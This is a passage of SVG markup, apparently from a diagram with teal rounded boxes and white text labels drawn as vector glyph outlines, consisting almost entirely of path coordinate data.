-1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm12.7578125 5.65625l-1.40625 0l0 -8.96875q-0.515625 0.484375 -1.34375 0.96875q-0.8125 0.484375 -1.46875 0.734375l0 -1.359375q1.171875 -0.5625 2.046875 -1.34375q0.890625 -0.796875 1.265625 -1.53125l0.90625 0l0 11.5z" fill-rule="nonzero"/><path fill="#00bfb3" d="m174.0976 76.505226l0 0c0 -6.5318756 5.2951355 -11.827011 11.827011 -11.827011l117.8893 0c3.1367188 0 6.1449585 1.2460556 8.362946 3.4640503c2.2180176 2.2179947 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.5318832 -5.2951355 11.8270035 -11.826996 11.8270035l-117.8893 0c-6.5318756 0 -11.827011 -5.2951202 -11.827011 -11.8270035z" fill-rule="evenodd"/><path fill="#ffffff" d="m188.95128 106.01853l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.84375 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.1562653 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.2343903 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609528 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm14.8515625 4.296875l0 1.359375l-7.578125 0q-0.015625 -0.515625 0.171875 -0.984375q0.28125 -0.765625 0.921875 -1.515625q0.640625 -0.75 1.84375 -1.734375q1.859375 -1.53125 2.515625 -2.421875q0.65625 -0.90625 0.65625 -1.703125q0 -0.828125 -0.59375 -1.40625q-0.59375 -0.578125 -1.5625 -0.578125q-1.015625 0 -1.625 0.609375q-0.609375 0.609375 -0.609375 1.6875l-1.453125 -0.140625q0.15625 -1.625 1.125 -2.46875q0.96875 -0.84375 2.59375 -0.84375q1.65625 0 2.609375 0.921875q0.96875 0.90625 0.96875 2.25q0 0.6875 -0.28125 1.359375q-0.28125 0.65625 -0.9375 1.390625q-0.65625 0.734375 -2.171875 2.015625q-1.265625 1.0625 -1.625 1.453125q-0.359375 0.375 -0.59375 0.75l5.625 0z" fill-rule="nonzero"/><path fill="#00bfb3" d="m326.0976 76.505226l0 0c0 -6.5318756 5.2951355 -11.827011 11.827026 -11.827011l117.88928 0c3.1367188 0 6.1449585 1.2460556 8.362946 3.4640503c2.2180176 2.2179947 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.5318832 -5.2951355 11.8270035 -11.826996 11.8270035l-117.88928 0c-6.531891 0 -11.827026 -5.2951202 -11.827026 -11.8270035z" fill-rule="evenodd"/><path fill="#ffffff" d="m340.9513 106.01853l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.84375 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 2.625l1.40625 -0.1875q0.25 1.203125 0.828125 1.734375q0.578125 0.515625 1.421875 0.515625q0.984375 0 1.671875 -0.6875q0.6875 -0.6875 0.6875 -1.703125q0 -0.96875 -0.640625 -1.59375q-0.625 -0.625 -1.609375 -0.625q-0.390625 0 -0.984375 0.15625l0.15625 -1.234375q0.140625 0.015625 0.21875 0.015625q0.90625 0 1.625 -0.46875q0.71875 -0.46875 0.71875 -1.453125q0 -0.765625 -0.53125 -1.265625q-0.515625 -0.515625 -1.34375 -0.515625q-0.828125 0 -1.375 0.515625q-0.546875 0.515625 -0.703125 1.546875l-1.40625 -0.25q0.265625 -1.421875 1.171875 -2.1875q0.921875 -0.78125 2.28125 -0.78125q0.9375 0 1.71875 0.40625q0.796875 0.390625 1.203125 1.09375q0.421875 0.6875 0.421875 1.46875q0 0.75 -0.40625 1.359375q-0.390625 0.609375 -1.171875 0.96875q1.015625 0.234375 1.578125 0.96875q0.5625 0.734375 0.5625 1.84375q0 1.5 -1.09375 2.546875q-1.09375 1.046875 -2.765625 1.046875q-1.5 0 -2.5 -0.890625q-1.0 -0.90625 -1.140625 -2.34375z" fill-rule="nonzero"/><path fill="#ffffff" d="m187.51372 2.5530503l114.01576 0l0 26.299212l-114.01576 0z" fill-rule="evenodd"/><path fill="#000000" d="m202.18565 21.562656l0 -11.453126l3.953125 0q1.328125 0 2.03125 0.15625q0.984375 0.234375 1.6875 0.828125q0.90625 0.765625 1.34375 1.953125q0.453125 1.1875 0.453125 2.71875q0 1.312501 -0.3125 2.328126q-0.296875 1.0 -0.78125 1.65625q-0.46875 0.65625 -1.03125 1.046875q-0.5625 0.375 -1.375 0.578125q-0.796875 0.1875 -1.828125 0.1875l-4.140625 0zm1.515625 -1.359375l2.453125 0q1.125 0 1.765625 -0.203125q0.65625 -0.21875 1.03125 -0.59375q0.546875 -0.546875 0.84375 -1.453125q0.296875 -0.90625 0.296875 -2.203126q0 -1.796875 -0.59375 -2.765625q-0.578125 -0.96875 -1.421875 -1.296875q-0.609375 -0.234375 -1.96875 -0.234375l-2.40625 0l0 8.750001zm15.2734375 0.328125q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.37500095q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296876l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm6.6640625 2.90625l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765626l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.843751q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625zm6.7890625 0.234375q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.37500095q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296876l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm7.484375 1.6875l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109376q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875095 0.53125 0.37500095q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm11.625 1.21875l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765626l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.843751q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625zm1.3671875 1.265625l0 -8.296876l1.265625 0l0 1.25q0.484375 -0.875 0.890625 -1.15625q0.40625 -0.28125 0.90625 -0.28125q0.70314026 0 1.4375153 0.453125l-0.484375 1.296875q-0.515625 -0.296875 -1.0312653 -0.296875q-0.453125 0 -0.828125 0.28125q-0.359375 0.265625 -0.515625 0.765625q-0.234375 0.75000095 